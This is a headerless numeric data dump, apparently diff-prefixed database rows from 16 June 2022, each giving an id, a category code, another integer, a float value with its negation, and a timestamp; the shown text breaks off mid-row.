+16270,4,7613,7.046241805,-7.046241805,2022-06-16 10:58:08.954268+00 +63903,1,15209,3.706430712,-3.706430712,2022-06-16 14:56:57.209401+00 +21050,2,8543,9.375141728,-9.375141728,2022-06-16 11:27:05.228859+00 +16624,2,7680,6.250233345,-6.250233345,2022-06-16 11:01:04.627676+00 +18047,2,7967,10.07981292,-10.07981292,2022-06-16 11:09:04.901706+00 +52561,6,13599,10.77829963,-10.77829963,2022-06-16 14:05:40.037341+00 +16689,6,7727,16.50227485,-16.50227485,2022-06-16 11:01:10.215234+00 +18079,6,7920,2.604293256,-2.604293256,2022-06-16 11:09:05.520071+00 +28081,6,9501,8.185574521,-8.185574521,2022-06-16 11:56:12.665606+00 +28103,4,9459,10.41450797,-10.41450797,2022-06-16 11:56:19.799781+00 +18138,2,7915,8.217955778,-8.217955778,2022-06-16 11:09:14.444664+00 +16797,6,7728,2.934546945,-2.934546945,2022-06-16 11:02:14.431779+00 +28104,4,9467,2.645631801,-2.645631801,2022-06-16 11:56:19.801079+00 +21221,4,8638,7.31716811,-7.31716811,2022-06-16 11:28:10.508514+00 +21222,4,8639,6.883019416,-6.883019416,2022-06-16 11:28:10.51201+00 +16875,2,7690,10.03984964,-10.03984964,2022-06-16 11:02:32.574804+00 +16913,4,7608,9.761668819,-9.761668819,2022-06-16 11:02:54.457507+00 +21223,4,8606,9.120321379,-9.120321379,2022-06-16 11:28:10.51312+00 +19701,6,8303,14.59838395,-14.59838395,2022-06-16 11:18:47.826695+00 +21224,4,8607,8.840707606,-8.840707606,2022-06-16 11:28:10.513976+00 +28105,4,9451,2.82744556,-2.82744556,2022-06-16 11:56:19.801918+00 +18336,6,7999,12.53209062,-12.53209062,2022-06-16 11:10:40.699705+00 +21272,4,8563,11.04548868,-11.04548868,2022-06-16 11:28:20.427774+00 +21273,4,8571,3.431865558,-3.431865558,2022-06-16 11:28:20.429688+00 +19811,1,8277,15.3671812,-15.3671812,2022-06-16 11:19:22.952425+00 +19812,1,8149,15.30255811,-15.30255811,2022-06-16 11:19:22.955681+00 +19813,1,7957,15.23824364,-15.23824364,2022-06-16 11:19:22.956808+00 +19814,1,8021,15.1742376,-15.1742376,2022-06-16 11:19:22.957572+00 +19815,1,8085,15.11053977,-15.11053977,2022-06-16 11:19:22.958353+00 +21274,4,8555,3.511531262,-3.511531262,2022-06-16 11:28:20.430504+00 +21275,4,8539,4.964395357,-4.964395357,2022-06-16 11:28:20.431285+00 +21276,4,8523,13.83851554,-13.83851554,2022-06-16 11:28:20.4321+00 +17261,2,7854,12.07674589,-12.07674589,2022-06-16 11:05:05.021059+00 +18578,1,7992,11.20004558,-11.20004558,2022-06-16 11:12:07.921441+00 +17279,2,7871,9.328781383,-9.328781383,2022-06-16 11:05:05.448262+00 +21290,4,8480,6.472724002,-6.472724002,2022-06-16 11:28:24.766331+00 +28106,4,9419,12.72687822,-12.72687822,2022-06-16 11:56:19.802806+00 +19991,6,8367,14.44391866,-14.44391866,2022-06-16 11:20:25.195066+00 +18655,6,8064,6.500390244,-6.500390244,2022-06-16 11:12:21.417654+00 +17334,3,7862,19.2975627,-19.2975627,2022-06-16 11:05:32.991556+00 +20014,7,8240,7.556338641,-7.556338641,2022-06-16 11:20:34.907033+00 +20015,7,8304,7.378345078,-7.378345078,2022-06-16 11:20:34.910377+00 +20016,7,8368,7.186262148,-7.186262148,2022-06-16 11:20:34.9112+00 +20039,2,8304,1.711532699,-1.711532699,2022-06-16 11:21:04.446257+00 +21312,6,8622,13.57793415,-13.57793415,2022-06-16 11:28:33.125127+00 +17403,3,7872,9.641572986,-9.641572986,2022-06-16 11:06:02.16918+00 +17413,6,7917,5.480628692,-5.480628692,2022-06-16 11:06:04.493495+00 +32286,6,10150,21.68905703,-21.68905703,2022-06-16 12:17:40.886463+00 +20081,1,8382,6.97875132,-6.97875132,2022-06-16 11:21:07.92639+00 +20082,1,8366,8.91344305,-8.91344305,2022-06-16 11:21:07.929902+00 +20083,1,8351,8.192128896,-8.192128896,2022-06-16 11:21:07.930734+00 +17469,4,7855,11.37657401,-11.37657401,2022-06-16 11:06:10.554937+00 +17470,4,7919,11.32932729,-11.32932729,2022-06-16 11:06:10.555775+00 +17471,4,7871,8.724296808,-8.724296808,2022-06-16 11:06:10.556412+00 +17472,4,7935,8.690242598,-8.690242598,2022-06-16 11:06:10.557035+00 +17481,4,7800,9.583082469,-9.583082469,2022-06-16 11:06:15.372549+00 +20084,1,8367,8.881498792,-8.881498792,2022-06-16 11:21:07.931541+00 +37137,1,11006,3.101939024,-3.101939024,2022-06-16 12:43:38.436306+00 +17528,4,7712,6.694566157,-6.694566157,2022-06-16 11:06:32.310566+00 +17535,3,7613,12.03439249,-12.03439249,2022-06-16 11:06:46.73183+00 +24710,6,9109,11.86521227,-11.86521227,2022-06-16 11:44:42.382158+00 +60036,1,14739,7.325477137,-7.325477137,2022-06-16 14:42:27.109058+00 +18843,3,8112,3.826682778,-3.826682778,2022-06-16 11:14:08.153139+00 +18844,3,8176,3.798573419,-3.798573419,2022-06-16 11:14:08.156402+00 +17573,2,7872,6.040421686,-6.040421686,2022-06-16 11:07:04.590819+00 +34702,4,10559,3.773077412,-3.773077412,2022-06-16 12:30:11.477224+00 +34703,4,10623,3.763576212,-3.763576212,2022-06-16 12:30:11.480612+00 +34704,4,10607,4.823226576,-4.823226576,2022-06-16 12:30:11.481451+00 +34705,4,10591,6.856690314,-6.856690314,2022-06-16 12:30:11.482369+00 +20207,6,8384,6.394619274,-6.394619274,2022-06-16 11:22:05.740425+00 +28423,3,9535,12.69180824,-12.69180824,2022-06-16 11:58:04.904095+00 +28455,3,9519,15.24914907,-15.24914907,2022-06-16 11:58:06.771583+00 +28501,4,9515,2.731271579,-2.731271579,2022-06-16 11:58:21.631539+00 +20277,1,8088,11.87591452,-11.87591452,2022-06-16 11:22:37.957831+00 +28502,4,9531,2.607558797,-2.607558797,2022-06-16 11:58:21.632948+00 +18969,1,8189,7.053358455,-7.053358455,2022-06-16 11:14:31.923258+00 +18970,1,8173,6.852020537,-6.852020537,2022-06-16 11:14:31.926535+00 +21674,2,8694,12.15143032,-12.15143032,2022-06-16 11:30:14.388372+00 +18984,1,8181,19.52448696,-19.52448696,2022-06-16 11:14:43.923977+00 +18985,1,8157,11.59111811,-11.59111811,2022-06-16 11:14:43.926972+00 +18986,1,8159,8.319522951,-8.319522951,2022-06-16 11:14:43.927816+00 +18987,1,8174,9.595975827,-9.595975827,2022-06-16 11:14:43.928572+00 +18988,1,8158,8.362458075,-8.362458075,2022-06-16 11:14:43.929355+00 +18989,1,8190,7.46424151,-7.46424151,2022-06-16 11:14:43.930087+00 +18990,1,8175,9.523429015,-9.523429015,2022-06-16 11:14:43.930842+00 +17712,6,7918,16.08154305,-16.08154305,2022-06-16 11:07:37.899301+00 +18991,1,8191,7.186074017,-7.186074017,2022-06-16 11:14:43.931472+00 +17718,6,7919,16.02273163,-16.02273163,2022-06-16 11:07:38.02951+00 +18992,1,8165,17.86786527,-17.86786527,2022-06-16 11:14:43.932112+00 +17729,6,7935,12.93578541,-12.93578541,2022-06-16 11:07:38.429182+00 +25021,3,9198,15.82546635,-15.82546635,2022-06-16 11:46:07.606208+00 +19009,3,8126,15.38708915,-15.38708915,2022-06-16 11:14:46.484401+00 +19010,3,8190,15.29616815,-15.29616815,2022-06-16 11:14:46.487672+00 +34706,4,10456,9.128739588,-9.128739588,2022-06-16 12:30:11.483274+00 +25053,4,9139,10.57279829,-10.57279829,2022-06-16 11:46:19.880241+00 +25082,6,9198,11.94875484,-11.94875484,2022-06-16 11:46:25.058196+00 +19028,1,8096,7.986139355,-7.986139355,2022-06-16 11:14:49.947914+00 +17757,3,7919,18.73137768,-18.73137768,2022-06-16 11:07:55.17306+00 +21786,2,8671,9.324757561,-9.324757561,2022-06-16 11:31:04.999638+00 +28508,1,9513,8.864295061,-8.864295061,2022-06-16 11:58:29.159414+00 +25093,2,9002,8.126970005,-8.126970005,2022-06-16 11:46:25.35526+00 +20400,4,8312,9.209549204,-9.209549204,2022-06-16 11:23:37.84882+00 +28509,1,9497,8.951831492,-8.951831492,2022-06-16 11:58:29.162727+00 +23319,6,8917,12.13353831,-12.13353831,2022-06-16 11:38:06.503462+00 +21873,3,8703,13.95141478,-13.95141478,2022-06-16 11:31:25.23934+00 +25113,4,9107,8.981500448,-8.981500448,2022-06-16 11:46:28.192988+00 +20451,1,8280,11.65918814,-11.65918814,2022-06-16 11:24:02.019129+00 +19076,4,8056,9.352513983,-9.352513983,2022-06-16 11:15:05.590951+00 +28510,1,9529,8.839261532,-8.839261532,2022-06-16 11:58:29.163541+00 +25164,1,9182,7.745415193,-7.745415193,2022-06-16 11:46:50.104933+00 +23404,2,8877,6.677324358,-6.677324358,2022-06-16 11:38:24.438257+00 +25165,1,9214,5.459866469,-5.459866469,2022-06-16 11:46:50.108306+00 +25166,1,9198,6.989262463,-6.989262463,2022-06-16 11:46:50.109152+00 +20497,3,8317,10.74523013,-10.74523013,2022-06-16 11:24:10.756719+00 +25167,1,9183,7.648943958,-7.648943958,2022-06-16 11:46:50.109914+00 +25168,1,9199,6.969887397,-6.969887397,2022-06-16 11:46:50.110699+00 +25169,1,9215,5.338129707,-5.338129707,2022-06-16 11:46:50.111535+00 +22042,2,8701,7.130119666,-7.130119666,2022-06-16 11:32:19.537435+00 +16271,4,7606,12.56100598,-12.56100598,2022-06-16 10:58:10.859644+00 +16272,4,7670,12.50715744,-12.50715744,2022-06-16 10:58:10.860835+00 +16273,4,7671,12.42102833,-12.42102833,2022-06-16 10:58:10.861724+00 +16274,4,7647,9.686061856,-9.686061856,2022-06-16 10:58:10.862552+00 +16275,4,7662,12.45289674,-12.45289674,2022-06-16 10:58:10.863705+00 +16276,4,7663,12.31952858,-12.31952858,2022-06-16 10:58:10.864675+00 +32151,2,10112,4.521263755,-4.521263755,2022-06-16 12:17:04.632262+00 +16573,2,7677,8.81474839,-8.81474839,2022-06-16 11:00:19.410891+00 +28082,1,9509,15.8480047,-15.8480047,2022-06-16 11:56:14.081631+00 +16659,2,7710,10.2896161,-10.2896161,2022-06-16 11:01:05.375704+00 +21147,1,8472,11.35809413,-11.35809413,2022-06-16 11:27:59.005624+00 +26539,6,9327,10.98674129,-10.98674129,2022-06-16 11:51:16.644477+00 +22783,3,8895,13.65651335,-13.65651335,2022-06-16 11:36:05.199245+00 +18211,4,7984,1.06805256,-1.06805256,2022-06-16 11:10:06.153133+00 +16827,2,7741,8.725718967,-8.725718967,2022-06-16 11:02:19.522874+00 +18212,4,8000,2.943019665,-2.943019665,2022-06-16 11:10:06.156947+00 +56704,6,14331,1.901232464,-1.901232464,2022-06-16 14:28:29.807083+00 +16876,1,7513,11.66976514,-11.66976514,2022-06-16 11:02:37.885665+00 +16877,1,7537,11.73150507,-11.73150507,2022-06-16 11:02:37.888951+00 +16878,1,7545,11.50821765,-11.50821765,2022-06-16 11:02:37.889844+00 +16879,1,7789,8.099558957,-8.099558957,2022-06-16 11:02:37.890751+00 +16880,1,7529,11.48759122,-11.48759122,2022-06-16 11:02:37.891719+00 +16881,1,7805,8.399907666,-8.399907666,2022-06-16 11:02:37.89253+00 +18253,4,7904,6.643879072,-6.643879072,2022-06-16 11:10:18.156644+00 +16914,4,7672,9.729966577,-9.729966577,2022-06-16 11:03:00.489633+00 +21352,6,8576,6.21311101,-6.21311101,2022-06-16 11:28:52.439535+00 +39898,6,11440,1.92720417,0,2022-06-16 12:58:14.505483+00 +19760,2,8303,10.52929345,-10.52929345,2022-06-16 11:19:04.811428+00 +21388,2,8607,9.401409631,-9.401409631,2022-06-16 11:29:04.894859+00 +21389,2,8622,9.247950295,-9.247950295,2022-06-16 11:29:04.898734+00 +19816,1,8248,10.97371838,-10.97371838,2022-06-16 11:19:28.952853+00 +24672,3,9150,13.41669426,-13.41669426,2022-06-16 11:44:22.464648+00 +39917,1,11432,15.80964008,-15.80964008,2022-06-16 12:58:23.521822+00 +28351,6,9503,11.74918946,-11.74918946,2022-06-16 11:57:45.517508+00 +19932,6,8304,2.16431144,-2.16431144,2022-06-16 11:20:16.097922+00 +24754,6,9150,9.793289034,-9.793289034,2022-06-16 11:44:48.394135+00 +34841,2,10544,1.639984106,0,2022-06-16 12:31:04.534263+00 +20017,1,8057,10.73096303,-10.73096303,2022-06-16 11:20:34.951107+00 +17211,6,7808,6.748536925,-6.748536925,2022-06-16 11:04:40.778362+00 +20018,1,8025,10.8274337,-10.8274337,2022-06-16 11:20:34.954276+00 +17244,2,7808,6.097605169,-6.097605169,2022-06-16 11:05:04.600818+00 +18579,4,8118,11.91715262,-11.91715262,2022-06-16 11:12:08.890949+00 +20019,1,8049,10.88825886,-10.88825886,2022-06-16 11:20:34.955115+00 +18608,6,8110,15.5388541,-15.5388541,2022-06-16 11:12:16.840966+00 +20020,1,8041,10.67633912,-10.67633912,2022-06-16 11:20:34.955889+00 +23018,4,8728,9.754834061,-9.754834061,2022-06-16 11:36:52.904619+00 +17321,3,7854,18.77793322,-18.77793322,2022-06-16 11:05:32.664325+00 +23050,2,8832,5.389055722,-5.389055722,2022-06-16 11:37:04.572726+00 +18658,6,7978,14.22477075,-14.22477075,2022-06-16 11:12:35.999077+00 +20085,1,8341,14.95809006,-14.95809006,2022-06-16 11:21:13.953144+00 +24804,2,9088,5.194672475,-5.194672475,2022-06-16 11:45:04.553449+00 +20107,4,8248,9.1973432,-9.1973432,2022-06-16 11:21:23.717104+00 +20118,1,8312,10.83626646,-10.83626646,2022-06-16 11:21:28.954551+00 +18738,2,8059,7.925048529,-7.925048529,2022-06-16 11:13:14.539136+00 +21622,3,8687,16.98601158,-16.98601158,2022-06-16 11:30:08.234287+00 +28394,4,9272,8.705922378,-8.705922378,2022-06-16 11:57:49.129159+00 +39948,6,11518,5.198300836,-5.198300836,2022-06-16 12:58:32.613845+00 +28456,4,9536,2.109742857,-2.109742857,2022-06-16 11:58:07.484955+00 +28457,4,9566,8.046796582,-8.046796582,2022-06-16 11:58:07.488938+00 +21740,6,8661,12.53136476,-12.53136476,2022-06-16 11:30:41.415672+00 +17482,1,7917,7.908238268,-7.908238268,2022-06-16 11:06:16.891218+00 +17483,1,7933,8.20229914,-8.20229914,2022-06-16 11:06:16.894577+00 +17493,2,7869,8.461697425,-8.461697425,2022-06-16 11:06:19.544737+00 +28458,4,9520,0.643165077,0,2022-06-16 11:58:07.490893+00 +17536,3,7677,11.96705101,-11.96705101,2022-06-16 11:06:46.899417+00 +20246,2,8381,7.583884677,-7.583884677,2022-06-16 11:22:19.535203+00 +18845,4,8061,6.419896137,-6.419896137,2022-06-16 11:14:08.732237+00 +18846,4,8125,6.397771663,-6.397771663,2022-06-16 11:14:08.735334+00 +18847,4,8045,6.225372967,-6.225372967,2022-06-16 11:14:08.736148+00 +18848,4,8109,6.204168679,-6.204168679,2022-06-16 11:14:08.736888+00 +18849,4,8182,11.9464146,-11.9464146,2022-06-16 11:14:08.737601+00 +18850,4,8119,11.92435765,-11.92435765,2022-06-16 11:14:08.738311+00 +18851,4,8183,11.87513999,-11.87513999,2022-06-16 11:14:08.73917+00 +28459,4,9582,6.809373107,-6.809373107,2022-06-16 11:58:07.491877+00 +18884,2,8109,7.695897321,-7.695897321,2022-06-16 11:14:19.432557+00 +21810,4,8536,9.957955167,-9.957955167,2022-06-16 11:31:10.243377+00 +20289,1,8445,6.328279303,-6.328279303,2022-06-16 11:22:46.957717+00 +20290,1,8429,6.146058167,-6.146058167,2022-06-16 11:22:46.961229+00 +17644,3,7789,11.50955676,-11.50955676,2022-06-16 11:07:18.953529+00 +28460,4,9534,5.349840861,-5.349840861,2022-06-16 11:58:07.492875+00 +20324,2,8368,1.631045819,-1.631045819,2022-06-16 11:23:04.462015+00 +28461,4,9598,5.333448421,-5.333448421,2022-06-16 11:58:07.493838+00 +20338,6,8234,13.62107498,-13.62107498,2022-06-16 11:23:04.776288+00 +30497,6,9856,5.282533898,-5.282533898,2022-06-16 12:08:09.657034+00 +25054,1,9152,2.584143386,-2.584143386,2022-06-16 11:46:20.101801+00 +20372,2,8379,7.633601355,-7.633601355,2022-06-16 11:23:14.444157+00 +25055,1,9136,0.73309734,0,2022-06-16 11:46:20.105096+00 +18993,4,7968,6.597406762,-6.597406762,2022-06-16 11:14:45.608669+00 +17697,6,7774,14.37411852,-14.37411852,2022-06-16 11:07:37.428817+00 +17698,6,7838,14.29847579,-14.29847579,2022-06-16 11:07:37.43188+00 +17699,6,7902,14.22330748,-14.22330748,2022-06-16 11:07:37.432738+00 +23320,4,8896,2.400160267,-2.400160267,2022-06-16 11:38:06.680682+00 +23321,4,8880,0.646288476,0,2022-06-16 11:38:06.68493+00 +28548,4,9514,10.3325225,-10.3325225,2022-06-16 11:58:50.726758+00 +17719,6,7934,13.34064072,-13.34064072,2022-06-16 11:07:38.157152+00 +20411,6,8415,13.41698974,-13.41698974,2022-06-16 11:23:40.038725+00 +19029,7,7850,12.86261458,-12.86261458,2022-06-16 11:15:02.685446+00 +23358,6,8957,4.228876455,-4.228876455,2022-06-16 11:38:17.712219+00 +21997,3,8751,16.82222003,-16.82222003,2022-06-16 11:32:08.341344+00 +30582,1,9901,4.381913067,-4.381913067,2022-06-16 12:09:02.225251+00 +19053,2,8174,10.94053898,-10.94053898,2022-06-16 11:15:04.86829+00 +23410,4,8851,9.333574295,-9.333574295,2022-06-16 11:38:27.482694+00 +30583,1,9848,8.92704283,-8.92704283,2022-06-16 12:09:02.228514+00 +17763,3,7926,19.41247552,-19.41247552,2022-06-16 11:07:55.322926+00 +19062,2,8175,10.90490234,-10.90490234,2022-06-16 11:15:05.098102+00 +22066,4,8632,8.997877445,-8.997877445,2022-06-16 11:32:40.6326+00 +22081,2,8688,1.535369185,0,2022-06-16 11:33:04.450989+00 +19072,2,8191,8.384198637,-8.384198637,2022-06-16 11:15:05.337528+00 +27165,6,9375,12.02280249,-12.02280249,2022-06-16 11:52:54.176336+00 +19077,2,8170,9.982619947,-9.982619947,2022-06-16 11:15:07.780441+00 +20494,3,8237,10.60303299,-10.60303299,2022-06-16 11:24:10.508766+00 +30584,1,9824,6.541195524,-6.541195524,2022-06-16 12:09:02.229341+00 +27190,6,9407,8.581337302,-8.581337302,2022-06-16 11:52:55.182296+00 +22156,3,8767,13.86257771,-13.86257771,2022-06-16 11:33:10.280368+00 +23506,2,8943,8.738249326,-8.738249326,2022-06-16 11:39:05.502124+00 +16277,1,7600,1.645737407,-1.645737407,2022-06-16 10:58:13.809685+00 +16278,1,7670,11.24347488,-11.24347488,2022-06-16 10:58:13.811421+00 +16279,1,7663,11.15468909,-11.15468909,2022-06-16 10:58:13.812265+00 +19383,2,8254,8.535540758,-8.535540758,2022-06-16 11:17:05.192924+00 +22569,6,8830,10.49372018,-10.49372018,2022-06-16 11:35:03.495858+00 +21053,2,8574,7.718586278,-7.718586278,2022-06-16 11:27:05.292493+00 +39619,2,11392,3.79066037,-3.79066037,2022-06-16 12:57:04.880348+00 +24371,6,9070,12.10987771,-12.10987771,2022-06-16 11:43:10.653209+00 +21148,4,8376,9.151509799,-9.151509799,2022-06-16 11:27:59.198217+00 +21157,1,8488,18.28823787,-18.28823787,2022-06-16 11:28:01.982408+00 +24372,6,9071,11.7373111,-11.7373111,2022-06-16 11:43:10.65634+00 +18213,1,7998,7.864276007,-7.864276007,2022-06-16 11:10:07.924528+00 +18214,1,7999,7.569893925,-7.569893925,2022-06-16 11:10:07.927836+00 +16290,4,7603,12.30192815,-12.30192815,2022-06-16 10:58:19.40005+00 +28033,6,9518,11.0017382,-11.0017382,2022-06-16 11:56:08.849318+00 +16292,4,7579,5.788559093,-5.788559093,2022-06-16 10:58:19.403344+00 +16293,4,7563,15.23885558,-15.23885558,2022-06-16 10:58:19.404559+00 +16294,4,7595,4.525291091,-4.525291091,2022-06-16 10:58:19.405353+00 +16882,4,7640,10.58742288,-10.58742288,2022-06-16 11:02:40.25034+00 +16296,2,7613,8.940078541,-8.940078541,2022-06-16 10:58:19.460807+00 +16906,1,7798,11.13212667,-11.13212667,2022-06-16 11:02:49.85865+00 +16907,1,7807,8.157322107,-8.157322107,2022-06-16 11:02:49.859982+00 +16908,1,7790,10.72818335,-10.72818335,2022-06-16 11:02:49.860822+00 +16909,1,7799,11.11485407,-11.11485407,2022-06-16 11:02:49.861671+00 +16301,2,7597,8.692488262,-8.692488262,2022-06-16 10:58:19.581501+00 +16302,1,7584,8.204228045,-8.204228045,2022-06-16 10:58:19.835097+00 +16303,1,7576,12.56098248,-12.56098248,2022-06-16 10:58:19.838348+00 +16304,4,7611,4.415281636,-4.415281636,2022-06-16 10:58:20.908966+00 +16305,4,7571,10.44079038,-10.44079038,2022-06-16 10:58:27.338268+00 +16306,4,7392,6.837412201,-6.837412201,2022-06-16 10:58:36.547094+00 +16307,2,7658,10.63568404,-10.63568404,2022-06-16 10:58:39.928133+00 +16308,1,7616,4.047149816,-4.047149816,2022-06-16 10:58:40.839373+00 +16309,4,7456,6.817919339,-6.817919339,2022-06-16 10:58:46.35942+00 +16310,2,7626,10.09817804,-10.09817804,2022-06-16 10:58:47.825923+00 +16910,1,7791,10.63112443,-10.63112443,2022-06-16 11:02:49.862531+00 +24415,3,8938,11.17127141,-11.17127141,2022-06-16 11:43:19.10434+00 +39620,2,11422,7.916777638,-7.916777638,2022-06-16 12:57:04.884724+00 +21311,6,8607,13.18799385,-13.18799385,2022-06-16 11:28:32.936002+00 +16315,6,7661,5.793605439,-5.793605439,2022-06-16 10:58:51.558318+00 +21353,1,8297,10.35833686,-10.35833686,2022-06-16 11:28:52.981288+00 +16317,4,7520,6.798515647,-6.798515647,2022-06-16 10:58:53.558564+00 +17013,2,7739,8.288597141,-8.288597141,2022-06-16 11:03:14.554928+00 +18366,2,8000,5.878337236,-5.878337236,2022-06-16 11:11:04.557579+00 +21354,1,8313,10.34145713,-10.34145713,2022-06-16 11:28:52.984752+00 +16321,6,7677,5.960380633,-5.960380633,2022-06-16 10:58:53.65019+00 +16322,1,7677,8.604813671,-8.604813671,2022-06-16 10:58:58.849127+00 +16323,1,7661,8.364488912,-8.364488912,2022-06-16 10:58:58.852485+00 +21355,1,8305,10.5140318,-10.5140318,2022-06-16 11:28:52.985633+00 +21356,1,8281,10.41925988,-10.41925988,2022-06-16 11:28:52.986431+00 +30190,6,9787,4.905358522,-4.905358522,2022-06-16 12:06:43.119685+00 +19889,4,8304,0.855656288,-0.855656288,2022-06-16 11:20:06.606197+00 +16328,2,7600,2.658827781,-2.658827781,2022-06-16 10:59:04.477758+00 +17160,6,7854,16.30358665,-16.30358665,2022-06-16 11:04:23.807396+00 +19890,4,8320,2.739671048,-2.739671048,2022-06-16 11:20:06.610762+00 +17178,6,7871,13.15165287,-13.15165287,2022-06-16 11:04:24.403429+00 +28152,4,9427,8.547229666,-8.547229666,2022-06-16 11:56:27.593486+00 +16333,2,7616,6.27077157,-6.27077157,2022-06-16 10:59:04.594966+00 +16334,2,7646,10.34031504,-10.34031504,2022-06-16 10:59:04.599217+00 +28215,2,9502,8.162214857,-8.162214857,2022-06-16 11:57:04.803413+00 +19964,3,8368,3.280778685,-3.280778685,2022-06-16 11:20:20.34718+00 +32289,4,10072,9.342636138,-9.342636138,2022-06-16 12:17:43.030834+00 +18583,4,7992,9.398566464,-9.398566464,2022-06-16 11:12:11.886328+00 +20021,4,8152,10.16748208,-10.16748208,2022-06-16 11:20:47.385416+00 +16340,2,7647,10.22199572,-10.22199572,2022-06-16 10:59:04.742073+00 +56357,6,14272,3.013179954,-3.013179954,2022-06-16 14:26:57.641327+00 +42617,2,11870,7.908812902,-7.908812902,2022-06-16 13:11:05.038263+00 +37277,2,10989,5.107989964,-5.107989964,2022-06-16 12:44:19.417+00 +17351,3,7871,15.63950182,-15.63950182,2022-06-16 11:05:33.401024+00 +18659,4,8019,9.992177518,-9.992177518,2022-06-16 11:12:38.500362+00 +23019,1,8861,10.73668595,-10.73668595,2022-06-16 11:36:53.051958+00 +16347,2,7662,12.9468039,-12.9468039,2022-06-16 10:59:04.914931+00 +17388,6,7595,7.059719866,-7.059719866,2022-06-16 11:06:01.570009+00 +17389,6,7659,7.032634399,-7.032634399,2022-06-16 11:06:01.57346+00 +17390,6,7723,7.005705101,-7.005705101,2022-06-16 11:06:01.575528+00 +16351,2,7663,12.89160597,-12.89160597,2022-06-16 10:59:05.001252+00 +17391,6,7787,6.978930807,-6.978930807,2022-06-16 11:06:01.576914+00 +23020,1,8800,7.245987601,-7.245987601,2022-06-16 11:36:53.055769+00 +16354,2,7670,12.92431322,-12.92431322,2022-06-16 10:59:05.057511+00 +23021,1,8792,10.92676511,-10.92676511,2022-06-16 11:36:53.056722+00 +23022,1,8893,5.47165196,-5.47165196,2022-06-16 11:36:53.05767+00 +18739,6,7914,14.15441514,-14.15441514,2022-06-16 11:13:18.68805+00 +23023,1,8877,5.314153063,-5.314153063,2022-06-16 11:36:53.058558+00 +21741,2,8682,9.216032602,-9.216032602,2022-06-16 11:30:43.086744+00 +16360,2,7671,12.9517971,-12.9517971,2022-06-16 10:59:05.204462+00 +17464,4,7853,6.442548144,-6.442548144,2022-06-16 11:06:09.068273+00 +17465,4,7869,6.69926535,-6.69926535,2022-06-16 11:06:09.069943+00 +17466,4,7926,11.98620719,-11.98620719,2022-06-16 11:06:09.071003+00 +17467,4,7927,11.95554561,-11.95554561,2022-06-16 11:06:09.07197+00 +18764,6,8109,5.309546272,-5.309546272,2022-06-16 11:13:33.078252+00 +23024,1,8869,16.44549794,-16.44549794,2022-06-16 11:36:53.059434+00 +17494,1,7665,11.5357545,-11.5357545,2022-06-16 11:06:19.888843+00 +17495,1,7641,11.43337156,-11.43337156,2022-06-16 11:06:19.892089+00 +16369,2,7678,10.24557242,-10.24557242,2022-06-16 10:59:05.421868+00 +17496,1,7657,11.29489496,-11.29489496,2022-06-16 11:06:19.892847+00 +17497,1,7673,11.27511914,-11.27511914,2022-06-16 11:06:19.89359+00 +16372,2,7679,10.04745507,-10.04745507,2022-06-16 10:59:05.47272+00 +21811,1,8639,6.130518406,-6.130518406,2022-06-16 11:31:14.012669+00 +17537,3,7741,11.90019907,-11.90019907,2022-06-16 11:06:47.072869+00 +20247,4,8339,9.817490995,-9.817490995,2022-06-16 11:22:21.132675+00 +20248,4,8371,11.18682685,-11.18682685,2022-06-16 11:22:21.135931+00 +20249,4,8379,3.635356132,-3.635356132,2022-06-16 11:22:21.136811+00 +18852,4,8126,8.382457723,-8.382457723,2022-06-16 11:14:10.52937+00 +18853,4,8190,8.35039432,-8.35039432,2022-06-16 11:14:10.532687+00 +18854,4,8127,8.038755921,-8.038755921,2022-06-16 11:14:10.533552+00 +18855,4,8191,8.008572652,-8.008572652,2022-06-16 11:14:10.534355+00 +18856,4,8158,9.291357011,-9.291357011,2022-06-16 11:14:10.535169+00 +17609,2,7927,12.39266422,-12.39266422,2022-06-16 11:07:05.446571+00 +17610,2,7934,9.443856903,-9.443856903,2022-06-16 11:07:05.450139+00 +16386,1,7647,8.615686263,-8.615686263,2022-06-16 10:59:07.810119+00 +16387,1,7679,8.503874378,-8.503874378,2022-06-16 10:59:07.811607+00 +16388,1,7646,8.750801492,-8.750801492,2022-06-16 10:59:07.812569+00 +16389,1,7678,8.711145577,-8.711145577,2022-06-16 10:59:07.813498+00 +16390,1,7662,11.13568529,-11.13568529,2022-06-16 10:59:07.814454+00 +16391,1,7671,11.13225902,-11.13225902,2022-06-16 10:59:07.815254+00 +18857,4,8110,10.59730184,-10.59730184,2022-06-16 11:14:10.536087+00 +18858,4,8174,10.55437905,-10.55437905,2022-06-16 11:14:10.536955+00 +16394,3,7670,19.6737877,-19.6737877,2022-06-16 10:59:10.623626+00 +17625,2,7851,8.27671587,-8.27671587,2022-06-16 11:07:14.46528+00 +18859,4,8175,10.47939487,-10.47939487,2022-06-16 11:14:10.537663+00 +24320,2,9054,8.675169679,-8.675169679,2022-06-16 11:43:04.714144+00 +22615,2,8830,6.789214775,-6.789214775,2022-06-16 11:35:05.302054+00 +16628,2,7734,12.85040398,-12.85040398,2022-06-16 11:01:04.704387+00 +16400,3,7671,19.80891437,-19.80891437,2022-06-16 10:59:10.772783+00 +30121,3,9839,14.66884906,-14.66884906,2022-06-16 12:06:05.931073+00 +48926,3,12971,6.429808334,-6.429808334,2022-06-16 13:46:19.8121+00 +26498,2,9275,6.93682776,-6.93682776,2022-06-16 11:51:14.558611+00 +28154,2,9514,7.713700205,-7.713700205,2022-06-16 11:56:29.386993+00 +30191,1,9769,8.647086577,-8.647086577,2022-06-16 12:06:44.216386+00 +18215,4,8054,11.82385819,-11.82385819,2022-06-16 11:10:08.670999+00 +16408,2,7595,8.598094229,-8.598094229,2022-06-16 10:59:14.404171+00 +18216,4,8055,11.79269442,-11.79269442,2022-06-16 11:10:08.674822+00 +21357,7,8618,11.9795942,-11.9795942,2022-06-16 11:28:53.025333+00 +16883,1,7739,5.151806206,-5.151806206,2022-06-16 11:02:43.885148+00 +16884,1,7723,5.266847713,-5.266847713,2022-06-16 11:02:43.888411+00 +16413,2,7611,8.409266201,-8.409266201,2022-06-16 10:59:14.524942+00 +16414,3,7598,19.58782256,-19.58782256,2022-06-16 10:59:18.346909+00 +16415,3,7662,19.48514744,-19.48514744,2022-06-16 10:59:18.350252+00 +16912,1,7712,8.041719213,-8.041719213,2022-06-16 11:02:52.866982+00 +30192,1,9753,8.733223736,-8.733223736,2022-06-16 12:06:44.219754+00 +16418,3,7599,19.69216124,-19.69216124,2022-06-16 10:59:18.411261+00 +16419,3,7663,19.58881476,-19.58881476,2022-06-16 10:59:18.414562+00 +18282,2,7981,7.912344728,-7.912344728,2022-06-16 11:10:24.456564+00 +22846,3,8879,16.48463132,-16.48463132,2022-06-16 